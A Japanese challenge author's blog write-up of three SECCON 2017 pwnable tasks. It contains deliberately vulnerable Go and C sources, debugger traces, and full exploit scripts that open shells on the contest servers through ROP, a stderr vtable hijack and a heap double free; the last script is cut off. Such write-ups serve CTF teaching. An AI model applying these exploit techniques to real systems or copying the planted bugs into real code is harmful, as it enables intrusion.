つれづれなる備忘録

CTF関連の事やその他諸々

SECCON 2017 Online Exploit作問(Baby Stack, Election, Secure KeyManager)

SECCON 2017 Onlineお疲れ様でした~
今年の予選は,韓国のCTFチーム Cykor が作問協力して下さったので,私は簡易な Pwnable 問題を3問作成しました. 去年よりも作問数を減らしたので,解説の作業量が減って楽です(笑)


Baby Stack (Exploit100)

Can you do a traditional stack attack?

Host : baby_stack.pwn.seccon.jp
Port : 15285
baby_stack-7b078c99bb96de6e5efc2b3da485a9ae8a66fd702b7139baf072ec32175076d8

伝統的なスタックオーバーフローからの ROP を行う問題です.
以下にソースコードを示しますが,GO言語で実装している以外は特にひねってないです.

ソースコード

package main

import (
   "fmt"
   "os"
   "bufio"
   "unsafe"
)

func main(){
    buf := make([]byte,32)
    stdin := bufio.NewScanner(os.Stdin)

    fmt.Printf("Please tell me your name >> ");
    stdin.Scan()
    name := stdin.Text()

    fmt.Printf("Give me your message >> ");
    stdin.Scan()
    text := stdin.Text()
    memcpy(*(*uintptr)(unsafe.Pointer(&buf)), *(*uintptr)(unsafe.Pointer(&text)), len(text))

    fmt.Printf("Thank you, %s!\nmsg : %s\n", name, string(buf))
}

func memcpy(dst uintptr, src uintptr, len int){
    for i := 0; i < len; i++ {
        *(*int8)(unsafe.Pointer(dst)) = *(*int8)(unsafe.Pointer(src))
        dst += 1
        src += 1
    }
}

解説 および 解法

入力を受け取り,その文字列をスタックに確保された32byteのバッファにコピーを行います.
コピーする長さは入力を受け取った長さ分なので,32byteよりも長ければ単純なスタックバッファオーバーフローを起こします.

メッセージにbbbbを与え,main.memcpyに制御が渡った時点での様子を示します.
GO言語ではどうやらスタックを用いて引数を関数に渡しているようです.
(最下部のメッセージを読んでも分かることではありますが,)コピー先のアドレスは 0xc82003ddb0 ですね.

 [----------------------------------registers-----------------------------------]
RAX: 0x4 
RBX: 0xc82003ddf8 --> 0xc82003dd90 --> 0xc862626262 
RCX: 0xc82003dd90 --> 0xc862626262 
RDX: 0xc820068005 --> 0xa62626262 ('bbbb\n')
RSI: 0xc820068005 --> 0xa62626262 ('bbbb\n')
RDI: 0xc82003dd90 --> 0xc862626262 
RBP: 0xc82003dd90 --> 0xc862626262 
RSP: 0xc82003dd48 --> 0x4012a4 (<main.main+676>:        mov    rbx,QWORD PTR [rsp+0xc8])
RIP: 0x4014f0 (<main.memcpy>:   mov    rsi,QWORD PTR [rsp+0x18])
R8 : 0xc82003db80 --> 0x4 
R9 : 0xffb 
R10: 0xc820068005 --> 0xa62626262 ('bbbb\n')
R11: 0x206 
R12: 0x15 
R13: 0x536a54 --> 0x201fe001001e4 
R14: 0x1 
R15: 0x8
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4014e1 <main.main+1249>:   jmp    0x401040 <main.main+64>
   0x4014e6 <main.main+1254>:   call   0x453670 <runtime.morestack_noctxt>
   0x4014eb <main.main+1259>:   jmp    0x401000 <main.main>
=> 0x4014f0 <main.memcpy>:      mov    rsi,QWORD PTR [rsp+0x18]
   0x4014f5 <main.memcpy+5>:    mov    rdx,QWORD PTR [rsp+0x8]
   0x4014fa <main.memcpy+10>:   mov    rcx,QWORD PTR [rsp+0x10]
   0x4014ff <main.memcpy+15>:   xor    eax,eax
   0x401501 <main.memcpy+17>:   cmp    rax,rsi
[------------------------------------stack-------------------------------------]
0000| 0xc82003dd48 --> 0x4012a4 (<main.main+676>:       mov    rbx,QWORD PTR [rsp+0xc8])
0008| 0xc82003dd50 --> 0xc82003ddb0 --> 0x0 
0016| 0xc82003dd58 --> 0xc82003dd90 --> 0xc862626262 
0024| 0xc82003dd60 --> 0x4 
0032| 0xc82003dd68 --> 0xffb 
0040| 0xc82003dd70 --> 0xc82003dd90 --> 0xc862626262 
0048| 0xc82003dd78 --> 0x4 
0056| 0xc82003dd80 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 1 "baby_stack" hit Breakpoint 1, main.memcpy (dst=0xc82003ddb0, src=0xc82003dd90, len=0x4) at /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:26

さて,バックトレースを行いますと,main.main 関数は runtime.main 関数から呼ばれているようです.

gdb-peda$ bt
#0  main.memcpy (dst=0xc82003ddb0, src=0xc82003dd90, len=0x4) at /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:26
#1  0x00000000004012a4 in main.main () at /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:21
#2  0x0000000000429ef0 in runtime.main () at /usr/lib/go-1.6/src/runtime/proc.go:188
#3  0x0000000000455d11 in runtime.goexit () at /usr/lib/go-1.6/src/runtime/asm_amd64.s:1998
#4  0x0000000000000000 in ?? ()

スタックを掘ると,どうやら 0xc82003df48 にそのリターンアドレスが置かれているようなので,0xc82003df48-0xc82003ddb0 = 0x198 だけオフセットを埋めれば改竄できそうです.

0400| 0xc82003df20 --> 0xa ('\n')
0408| 0xc82003df28 --> 0x0 
0416| 0xc82003df30 --> 0x0 
0424| 0xc82003df38 --> 0x0 
0432| 0xc82003df40 --> 0x1 
0440| 0xc82003df48 --> 0x429ef0 (<runtime.main+688>:    mov    ebx,DWORD PTR [rip+0x1903c2]        # 0x5ba2b8 <runtime.panicking>)
0448| 0xc82003df50 --> 0xc8200160c0 --> 0x0 
0456| 0xc82003df58 --> 0x0 
0464| 0xc82003df60 --> 0xc8200160c0 --> 0x0 
0472| 0xc82003df68 --> 0x0 
0480| 0xc82003df70 --> 0x0 

今度はメッセージに 'a'*0x198+'x'*8 を送ったところ,死にました.
どこで落ちたか分かりやすくするため,送る文字列を pattc 0x200 で生成した文字列に変更し,main.memcpyの後をステップ実行しました.

すると,runtime.slicebytetostring関数でバイトスライスを String に変換しようとするところで上書きされたポインタを利用しているようです..

[-------------------------------------code-------------------------------------]
=> 0x4012f3 <main.main+755>:    call   0x43f630 <runtime.slicebytetostring>
   0x4012f8 <main.main+760>:    mov    rbx,QWORD PTR [rsp+0x20]
   0x4012fd <main.main+765>:    mov    QWORD PTR [rsp+0x108],rbx
   0x401305 <main.main+773>:    mov    rbx,QWORD PTR [rsp+0x28]
   0x40130a <main.main+778>:    mov    QWORD PTR [rsp+0x110],rbx
No argument
[------------------------------------stack-------------------------------------]
0000| 0xc82003dd50 --> 0x0 
0008| 0xc82003dd58 ("AzA%%A%sA%BA%$A%nA%CA%-A")
0016| 0xc82003dd60 ("A%BA%$A%nA%CA%-A")
0024| 0xc82003dd68 ("nA%CA%-A")

gdb-peda$ patto AzA%%A%sA%BA%$A%nA%CA%-A
AzA%%A%sA%BA%$A%nA%CA%-A found at offset: 200

利用されている値のオフセットを調べると 200(=0xc8)なので,この関数の呼び出しが正常に行えるようにこの位置に適当なポインタを,その次にサイズを格納します

exploit  = list('AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%As')
exploit[0xc8:0xd0] = p64(addr_str_thank)
exploit[0xd0:0xd8] = p64(0x20)
exploit  = ''.join(exploit)

すると,こんどはまた別の場所で落ちてしまいました.
同様にして 0x6941414d41413741 のオフセットを patto で調べると104(=0x68),0x41414e4141384141は112=(0x70)であるという事が分かります.
ここも同様に適当なアドレスとサイズに書き換えてやりましょう.

goroutine 1 [running]:
panic(0x4e4800, 0xc82000a3d0)
    /usr/lib/go-1.6/src/runtime/panic.go:481 +0x3e6
fmt.(*fmt).padString(0xc82004ed58, 0x6941414d41413741, 0x41414e4141384141)
    /usr/lib/go-1.6/src/fmt/format.go:130 +0x406
fmt.(*fmt).fmt_s(0xc82004ed58, 0x6941414d41413741, 0x41414e4141384141)
    /usr/lib/go-1.6/src/fmt/format.go:322 +0x61
fmt.(*pp).fmtString(0xc82004ed00, 0x6941414d41413741, 0x41414e4141384141, 0xc800000073)
    /usr/lib/go-1.6/src/fmt/print.go:521 +0xdc
fmt.(*pp).printArg(0xc82004ed00, 0x4c1c00, 0xc82000a3b0, 0x73, 0x0, 0x0)
    /usr/lib/go-1.6/src/fmt/print.go:797 +0xd95
fmt.(*pp).doPrintf(0xc82004ed00, 0x5220a0, 0x18, 0xc82003dea8, 0x2, 0x2)
    /usr/lib/go-1.6/src/fmt/print.go:1238 +0x1dcd
fmt.Fprintf(0x2aaaaab031e8, 0xc82002a010, 0x5220a0, 0x18, 0xc82003dea8, 0x2, 0x2, 0x40beee, 0x0, 0x0)
    /usr/lib/go-1.6/src/fmt/print.go:188 +0x74
fmt.Printf(0x5220a0, 0x18, 0xc82003dea8, 0x2, 0x2, 0x20, 0x0, 0x0)
    /usr/lib/go-1.6/src/fmt/print.go:197 +0x94
main.main()
    /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:23 +0x45e
type..eq.[2]interface {}(0x470931, 0x59f920, 0x46defd)
    /home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack.go:1 +0xca

無事に main.main の ret までたどり着きました.

-------------------------------------code-------------------------------------]
   0x401454 <main.main+1108>:   mov    QWORD PTR [rsp+0x20],rbx
   0x401459 <main.main+1113>:   call   0x45ac40 <fmt.Printf>
   0x40145e <main.main+1118>:   add    rsp,0x1f8
=> 0x401465 <main.main+1125>:   ret    
   0x401466 <main.main+1126>:   lea    r8,[rbx+0x8]
   0x40146a <main.main+1130>:   mov    QWORD PTR [rsp],r8
   0x40146e <main.main+1134>:   mov    QWORD PTR [rsp+0x8],rax
   0x401473 <main.main+1139>:   call   0x40f330 <runtime.writebarrierptr>

あとはROPでシステムコールを呼んでやるだけで良いので説明は割愛します.
やることは,sys_read で bss 領域あたりに /bin/sh を標準入力から読み込んで,sys_execve を呼ぶだけです.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './baby_stack'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'baby_stack.pwn.seccon.jp', 'port':15285})
env.select('local')

#==========

binf = ELF(bin_file)
addr_str_thank      = binf.search('Thank you').next()
addr_bss            = binf.sep_section['.bss']

addr_poprdi_or      = 0x00470931
addr_poprdx_or      = 0x004a247c
addr_syscall        = 0x00456889

#==========

def attack(conn):
    rop = ROP(binf)

    exploit  = 'a'*0x68
    exploit += p64(addr_str_thank)
    exploit += p64(0x20)
    exploit += 'b'*(0xc8-len(exploit))
    exploit += p64(addr_str_thank)
    exploit += p64(0x20)
    exploit += 'c'*(0x198-len(exploit))

    exploit += p64(rop.rax.address)
    exploit += p64(addr_bss+0x100)
    exploit += p64(addr_poprdi_or)
    exploit += p64(0x0)
    exploit += p64(rop.rsi.address)
    exploit += p64(addr_bss)
    exploit += p64(addr_poprdx_or)
    exploit += p64(0x8)
    exploit += p64(rop.rax.address)
    exploit += p64(constants.SYS_read)
    exploit += p64(addr_syscall)

    exploit += p64(rop.rax.address)
    exploit += p64(addr_bss+0x100)
    exploit += p64(addr_poprdi_or)
    exploit += p64(addr_bss)
    exploit += p64(rop.rsi.address)
    exploit += p64(0)
    exploit += p64(addr_poprdx_or)
    exploit += p64(0)
    exploit += p64(rop.rax.address)
    exploit += p64(constants.SYS_execve)
    exploit += p64(addr_syscall)

    conn.sendlineafter('>> ', 'hoge')
    conn.sendlineafter('>> ', exploit)
    sleep(0.05)
    conn.send('/bin/sh\0')

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()
    
#==========

実行結果です.

 % ./exploit_baby_stack.py 
Select Environment
['debug', 'remote', 'local'] ...r
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/SECCON/2017/baby_stack/baby_stack'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to baby_stack.pwn.seccon.jp on port 15285: Done
[*] Loaded cached gadgets for './baby_stack'
[*] Switching to interactive mode
Thank you, Thank you, %s!
msg : %s
\x00\x00\x00\x00\x00\x00\x00\x00!
msg : Thank you, %s!
msg : %s
\x00\x00\x00\x00\x00\x00\x00\x00
$ ls -al
total 2464
drwxr-x--- 2 root baby_stack    4096 Nov 28 18:36 .
drwxr-xr-x 6 root root          4096 Nov 28 18:36 ..
-rw-r----- 1 root baby_stack     220 Sep  1  2015 .bash_logout
-rw-r----- 1 root baby_stack    3771 Sep  1  2015 .bashrc
-rw-r----- 1 root baby_stack     655 May 16  2017 .profile
-rwxr-x--- 1 root baby_stack 2496664 Nov 28 18:36 baby_stack
-rw-r----- 1 root baby_stack      48 Nov 28 18:36 flag.txt
$ cat flag.txt
SECCON{'un54f3'm0dul3_15_fr13ndly_70_4774ck3r5}

Election (Exploit200)

Today is the vote day.
Who would you like to be chairman?

Host : election.pwn.seccon.jp
Port : 28349
election-9724a8d0a6c9ccb131200ec96752c61c0e6734cd9e1bb7b1958f8c88c0bd78fa.zip

投票を行うプログラムです.

ソースコード

// gcc election.c -Wl,-z,relro,-z,now -o election
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>

#define BUF_SIZE 32

enum LEVEL {LV_STND=1, LV_VOTE, LV_RESLT};

struct candidate {
    char *name;
    struct candidate *next;
    unsigned votes;
};

struct candidate *list = NULL;
enum LEVEL lv = LV_STND;
int inv_votes = 0;

int menu(void);
void stand(void);
void vote(void);
void result(void);
struct candidate *add_list(char *name);
struct candidate *find_list(char *name);
int getnline(char *buf, int size);
int getint(void);

__attribute__((constructor))
void init(void){
    setbuf(stdout, NULL);
    srand(time(NULL));
}

int main(void){
    int n;

    printf("*** Election ***\n");

    add_list("Tatsumi");
    add_list("Shinonome");
    add_list("Ojima");

    while(n = menu()){
        switch(n){
            case 1:
                stand();
                break;
            case 2:
                vote();
                break;
            case 3:
                result();
                break;
            default:
                puts("Invalid input...");
        }
        puts("done.");
    }

    printf("Thank you!!");
}

int menu(void){
    int n;

    printf( "\n"
        "1. stand\n"
        "2. vote\n"
        "3. result\n"
        "0. eat chocolate\n"
        ">> ");

    n = getint();

    putchar('\n');
    return n;
}

void stand(void){
    char buf[BUF_SIZE];

    if(lv > LV_STND){
        printf("The candidacy has already closed.\n");
        return;
    }

    printf("Enter the name.\n>> ");
    getnline(buf, sizeof(buf));
    add_list(buf);
}

void vote(void){
    struct {
        char buf[BUF_SIZE];
        struct candidate *p;
        char v;
    } _;
    _.v = 1;

    if(lv > LV_VOTE){
        printf("The voting has already closed.\n");
        return;
    }

    lv = LV_VOTE;

    printf("Show candidates? (Y/n) ");
    getnline(_.buf, sizeof(_.buf));
    if(strcasecmp(_.buf, "n")){
        struct candidate *p;
        printf("Candidates:\n");
        for(p=list; p; p=p->next)
            printf("* %s\n", p->name);
    }

    printf("Enter the name of the candidate.\n>> ");
    getnline(_.buf, sizeof(_.buf));

    if(!strcasecmp(_.buf, "oshima")){
        if(!(_.p = find_list("ojima")))
            return;

        printf( "I'm not 'Oshima', but 'Ojima'!\n"
            "Would you modify the name and re-vote?\n>> ");
        getnline(_.buf, sizeof(_));
        if(!strcasecmp(_.buf, "yes"))
            _.p->votes += _.v;
    }
    else if(_.p = find_list(_.buf))
        _.p->votes += _.v;
    else{
        printf("'%s' is invalid vote :(\n", _.buf);
        inv_votes++;
    }
}

void result(void){
    struct candidate *p;

    lv = LV_RESLT;

    for(p=list; p; p=p->next)
        printf("%11s : %d\n", p->name, p->votes);
    printf("%11s : %d\n", "INVALID", inv_votes);
}

struct candidate *add_list(char *name){
    struct candidate *p;

    p = malloc(sizeof(struct candidate));
    p->name = strdup(name);
    p->votes = rand()%100;
    p->next = list;
    list = p;
}

struct candidate *find_list(char *name){
    struct candidate *p;

    for(p=list; p; p=p->next)
        if(!strcasecmp(name, p->name))
            return p;
    return NULL;
}

int getnline(char *buf, int size){
    char *lf;
    int n;

    if(size < 1 || !(n = read(STDIN_FILENO, buf, size-1)))
        return 0;

    buf[n] = '\0';
    if((lf=strchr(buf,'\n')))
        *lf='\0';

    return n;
}

int getint(void){
    char buf[BUF_SIZE]={0};

    getnline(buf, sizeof(buf));
    return atoi(buf);
}

解説 および 解法

恋チョコですね,はい
私は皐月さんとみーちゃんが好きです.

この問題では,候補者の構造体がリストで繋がれています.
要素には,名前・次の候補者・投票数が含まれています.

vote関数において,Oshimaに投票するとOjimaに投票しなおすかどうか尋ねられます.
この時,本来であれば Ojima のチャンクを探し出して投票数を1増やすのですが,そこの入力にオーバーフローが存在し,投票時に値を加えるポインタと値を変更することができます.

まだヒープのアドレスが分かっていないため,初めは'yes\x00'+'a'*0x1cを送って下位1バイトのみをヌルとします.
ヒープの先頭を候補者構造体として扱い,0x10byte先の投票数に該当する位置の値を増やします.
本来であれば 0x603010 が候補者構造体の先頭なのですが, 0x603000 を先頭とするので,0x603010 の値が増やされることになります.
この位置は,Tatsumi の name のポインタだったのですが,この値を繰り返し増やしていくことで0x603030以降のヒープ内から値をリークすることが可能になります.

今回は0x20回増やし,0x603050に格納されている値をリークさせヒープのアドレスを特定します.

gdb-peda$ x/32gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000021
0x603010:       0x0000000000603030      0x0000000000000000
0x603020:       0x0000000000000049      0x0000000000000021
0x603030:       0x00696d7573746154      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000021
0x603050:       0x0000000000603070      0x0000000000603010

次に libc のアドレスを特定します.
既にheapのアドレスは分かっているため,先程のように下位1バイトのみ書き換える必要はなく,いきなりヒープ内のアドレスを指定することができます.
0x603058はShinonomeの次,つまり Tatsumi を指していましたが,ここの値を書き換えてユーザが追加した候補の 名前 のチャンクを指すようにします.
Tatsumiには消えてもらいます.

追加する候補者の名前は GOT の適当なエントリのアドレスとして,ここで入力した名前を候補者構造体の先頭とします.
すると,GOTエントリのアドレスが name として扱われ,libc内の関数のアドレスを得ることができます.

ここまでくると,バイナリ本体,heap, libc内の好きな値を好きに書き換えることができるようになりました.
しかし,このバイナリは Full RELRO なのでGOTは書き換えられません.
狙う場所はいろいろあるとは思いますが,今回はプログラム終了時に行われる IO のフラッシュ処理を乗っ取ることにしました.

.bss領域の適当な場所に One Gadget RCE のアドレスを配置し,stderr の vtable を _IO_file_jumps からbssに書き換え,_overflowが One Gadget RCE を指すようにします.
あとは,
IO_flush_all_lockp関数内でこの処理がきちんと呼ばれるように,_IO_2_1_stderr_(offset +0xc0)と _IO_wide_data_2(offset +0x20)の値を1に書き換えてやれば終わりです.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './election'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'election.pwn.seccon.jp', 'port':28349})
env.select()

#==========

binf = ELF(bin_file)
addr_got_main       = binf.got['__libc_start_main']
addr_main           = binf.sep_function['main']
addr_bss            = binf.sep_section['.bss']
addr_buf            = addr_bss + 0x20

libc = binf.libc
offset_libc_main    = libc.sep_function['__libc_start_main']

#==========

def attack(conn):
    el = Election(conn)

    el.stand(p64(addr_got_main))

    for i in range(0x20):
        el.vote('yes\x00'+'a'*0x1c, True)

    conn.sendlineafter('>> ', '2')
    conn.sendlineafter('(Y/n) ', 'y')
    conn.recvuntil('Shinonome\n* ')
    addr_heap_base = u(conn.recvuntil('\n', drop=True)) - 0x70
    info('addr_heap_base   = 0x{:08x}'.format(addr_heap_base))

    conn.sendlineafter('>> ', 'hoge')

    set_value(el, addr_heap_base+0x58, addr_heap_base+0x10, addr_heap_base+0xf0)

    conn.sendlineafter('>> ', '2')
    conn.sendlineafter('(Y/n) ', 'y')
    conn.recvuntil('Shinonome\n* ')
    addr_libc_main      = u(conn.recvuntil('\n', drop=True))
    libc.address        = addr_libc_main - offset_libc_main
    addr_libc_stderr    = libc.symbols['_IO_2_1_stderr_']
    addr_libc_io_wide   = addr_libc_stderr - 0xee0 #libc.symbols['_IO_wide_data_2']
    addr_libc_io_jumps  = libc.symbols['_IO_file_jumps']
    addr_libc_one_rce   = libc.address + 0x4526a
    info('addr_libc_base   = 0x{:08x}'.format(libc.address))

    conn.sendlineafter('>> ', 'hoge')

    set_value(el, addr_libc_stderr+0xc0, 0, 1)
    set_value(el, addr_libc_io_wide+0x20, 0, 1)
    set_value(el, addr_buf+0x18, 0, addr_libc_one_rce)
    set_value(el, addr_libc_stderr+0xd8, addr_libc_io_jumps, addr_buf)

    conn.sendline('0')

def increment(el, addr, x):
    el.vote('yes\x00'+'a'*0x1c+p64(addr-0x10)+chr(x), True)

def set_value(el, addr, org, new):
    for i in range(8):
        o = (org >> i*8) & 0xff
        n = (new >> i*8) & 0xff
        if n < o:
            n += 0x100
            new -= 1 << (i+1)*8
        diff = n-o

        while diff > 0x7f:
            increment(el, addr+i, 0x7f)
            diff -= 0x7f

        if diff:
            increment(el, addr+i, diff)

class Election:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def stand(self, name):
        self.sendlineafter('>> ', '1')
        self.sendafter('>> ', name)

    def vote(self, name, overwrite = False):
        self.sendlineafter('>> ', '2')
        self.sendlineafter('(Y/n) ', 'n')

        if overwrite:
            self.sendafter('>> ', 'oshima')

        self.sendafter('>> ', name)

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()
    
#==========

実行結果です.

% ./exploit_election.py 
Select Environment
['debug', 'remote', 'local'] ...r
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/SECCON/2017/election/election'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to election.pwn.seccon.jp on port 28349: Done
[*] addr_heap_base   = 0x01209000
[*] addr_libc_base   = 0x7f3708517000
[*] Switching to interactive mode
$ ls -al
total 40
drwxr-x--- 2 root election  4096 Nov 23 17:17 .
drwxr-xr-x 6 root root      4096 Nov 28 18:36 ..
-rw-r----- 1 root election   220 Sep  1  2015 .bash_logout
-rw-r----- 1 root election  3771 Sep  1  2015 .bashrc
-rw-r----- 1 root election   655 May 16  2017 .profile
-rwxr-x--- 1 root election 13432 Nov 23 17:17 election
-rw-r----- 1 root election    34 Nov 23 16:04 flag.txt
$ cat flag.txt
SECCON{I5_7h15_4_fr4ud_3l3c710n?}

Secure KeyManager (Exploit400)

I have developed a very very secure key manager!
The key should never leak.
Have a secure day :)

Host : secure_keymanager.pwn.seccon.jp
Port : 47225
secure_keymanager-f9d02e8a1149ff866cad10f001e8f23803bcac3c42ed7ffdcbe50da40e8afd12.zip

作問ミスしました.
おしまい.

ソースコード

// gcc secure_keymanager.c -o secure_keymanager
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <malloc.h>
#include <string.h>
#define BUF_SIZE 64
#define KEYS 8

int menu(void);
void change_master(void);
int check_account(void);
void add_key(void);
void show_key(void);
void edit_key(void);
void remove_key(void);
int getnline(char *buf, int size);
int getint(void);

struct Entry {
    char title[0x20];
    char key[];
};

struct Entry *key_list[KEYS];
char key_map[KEYS];
char account[0x10];
char master[0x10];

__attribute__((constructor))
void init(void){
    setbuf(stdout, NULL);
}

int main(void){
    int n;

    puts(
" _____                            _   __          ___  ___                                  \n"
"/  ___|                          | | / /          |  \\/  |                                  \n"
"\\ `--.  ___  ___ _   _ _ __ ___  | |/ /  ___ _   _| .  . | __ _ _ __   __ _  __ _  ___ _ __ \n"
" `--. \\/ _ \\/ __| | | | '__/ _ \\ |    \\ / _ \\ | | | |\\/| |/ _` | '_ \\ / _` |/ _` |/ _ \\ '__|\n"
"/\\__/ /  __/ (__| |_| | | |  __/ | |\\  \\  __/ |_| | |  | | (_| | | | | (_| | (_| |  __/ |   \n"
"\\____/ \\___|\\___|\\__,_|_|  \\___| \\_| \\_/\\___|\\__, \\_|  |_/\\__,_|_| |_|\\__,_|\\__, |\\___|_|   \n"
"                                              __/ |                          __/ |          \n"
"                                             |___/                          |___/           \n"
);

    printf("Set Your Account Name >> ");
    read(STDIN_FILENO, account, sizeof(account));
    printf("Set Your Master Pass >> ");
    read(STDIN_FILENO, master, sizeof(master));

    while(n = menu()){
        switch(n){
            case 1:
                add_key();
                break;
            case 2:
                show_key();
                break;
            case 3:
                edit_key();
                break;
            case 4:
                remove_key();
                break;
            case 9:
                change_master();
                break;
            default:
                puts("Invalid input...");
        }
        puts("done.");
    }

    return 0;
}

int menu(void){
    int n;
    printf( "\n"
        "1. add\n"
        "2. show\n"
        "3. edit\n"
        "4. remove\n"
        "9. change master pass\n"
        "0. exit\n"
        ">> ");

    n = getint();

    puts("");
    return n;
}

void change_master(void){
    if(!check_account())
        return;

    printf("Set New Master Pass >> ");
    read(STDIN_FILENO, master, sizeof(master));
}

int check_account(void){
    char buf[BUF_SIZE];

    printf("Input Account Name >> ");
    read(STDIN_FILENO, buf, sizeof(buf));
    if(strcmp(account, buf)){
        printf("Account '%s' does not exist...\n", buf);
        return 0;
    }

    if(!strlen(master))
        return 1;

    printf("Input Master Pass >> ");
    read(STDIN_FILENO, buf, sizeof(buf));

    if(!strcmp(master, buf))
        return 1;

    printf("Wrong Pass...\n");
    return 0;
}

void add_key(void){
    int i, size;
    struct Entry *e;

    for(i=0; i<KEYS && key_map[i]; i++);
    if(i>=KEYS){
        puts("can't add key any more...");
        return;
    }

    puts("ADD KEY");
    printf("Input key length...");
    size = getint();
    if(!(e = malloc(offsetof(struct Entry, key) + size))){
        puts("can not allocate...");
        return;
    }
    
    printf("Input title...");
    getnline(e->title, sizeof(e->title));
    printf("Input key...");
    getnline(e->key, size);
    key_list[i] = e;
    key_map[i] = 1;
}

void show_key(void){
    int i;
    
    printf("id : Title / Key\n");
    for(i=0; i<KEYS; i++)
        if(key_map[i])
            printf("%02d : ***SECRET*** / ***SECRET***\n", i);
}

void edit_key(void){
    int id;

    puts("EDIT KEY");
    if(!check_account())
        return;

    printf("Input id to edit...");
    id = getint();

    if(id < 0 || id > KEYS-1)
        puts("out of length");
    else if(!key_map[id])
        puts("not exits...");
    else{
        printf("Input new key...");
        getnline(key_list[id]->key, malloc_usable_size(key_list[id]) - offsetof(struct Entry, key));
    }
}

void remove_key(void){
    int id;

    puts("REMOVE KEY");
    if(!check_account())
        return;

    printf("Input id to remove...");
    id = getint();

    if(id < 0 || id > KEYS-1)
        puts("out of length");
    else if(!key_list[id])
        puts("not exits...");
    else{
        free(key_list[id]);
        key_map[id] = 0;
    }
}

int getnline(char *buf, int size){
    char *lf;
    int n;

    if(size < 1 || !(n = read(STDIN_FILENO, buf, size-1)))
        return 0;

    buf[n] = '\0';
    if((lf=strchr(buf,'\n')))
        *lf='\0';

    return n;
}

int getint(void){
    char buf[BUF_SIZE]={0};

    getnline(buf, sizeof(buf));
    return atoi(buf);
}

解説 および 解法

check_account関数の buf[BUF_SIZE] をヌル初期化するのを忘れていたため,libcのアドレスが容易に特定できる状態でした.
本当はここが初期化されてても,さらにはprintfが無くても解けるんですよ.
つら

去年の某ぬる氏のお気持ちになってる

さて解法ですが,libcのアドレスはcheck_accountで存在しないアカウントを指定するとバッファに残ったゴミからアドレスがリークします.
fast bins の double free を利用して,ごにょればtopを改竄することが可能です.

あとは好きなGOT書き換えてくれればええんやで(投げやり)

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://github.com/shift-crops/sc_expwn/blob/master/sc_expwn.py

bin_file = './secure_keymanager'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'secure_keymanager.pwn.seccon.jp', 'port':47225})
env.select()

#==========

binf = ELF(bin_file)
addr_got_strchr       = binf.got['strchr']

libc = binf.libc

#==========

def attack(conn):
    note = Note(conn)

    conn.sendafter('Set Your Account Name >> ', 'hoge')
    note.account = 'hoge'
    conn.sendafter('Set Your Master Pass >> ', 'fuga')
    note.master = 'fuga'

    conn.sendafter('>> ', '9')
    conn.sendafter('Input Account Name >> ', 'a'*7+'!')
    conn.recvuntil('a!')
    libc.address = u(conn.recv(6)) - 0x7a81b
